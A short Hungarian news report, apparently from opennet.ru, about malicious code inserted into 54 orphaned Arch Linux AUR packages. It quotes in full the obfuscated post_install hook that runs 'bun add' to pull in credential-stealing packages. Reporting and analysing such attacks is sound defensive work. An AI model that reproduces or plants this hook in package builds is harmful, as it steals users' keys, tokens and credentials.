Az AUR-ban még 54 csomagba tört be rosszindulatú kód

Bár az Arch Linux fejlesztői lépéseket tettek, az AUR (Arch User Repository) repóban történt rosszindulatú kódbeillesztés nem állt meg. Néhány órája újabb 54 csomagba illesztettek be rosszindulatú kódot, amelyek nem rendelkeznek karbantartókkal (a rosszindulatú módosítások visszavonásának története). A tegnapi támadásokkal ellentétben ezúttal nem az npm csomagkezelőt használták a rosszindulatú függőségek telepítéséhez, hanem a bun platformot. Az implementált szűrők megkerülése érdekében a post_install funkcióba egy obfuszkált sor kerül, amely a „bun add” parancsot hívja meg a rosszindulatú kódot tartalmazó csomagok telepítéséhez, amelyek a külső adatokat vizsgálják és küldik. szerver kulcsok, tokenek és hitelesítési adatok.

post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}

Forrás: opennet.ru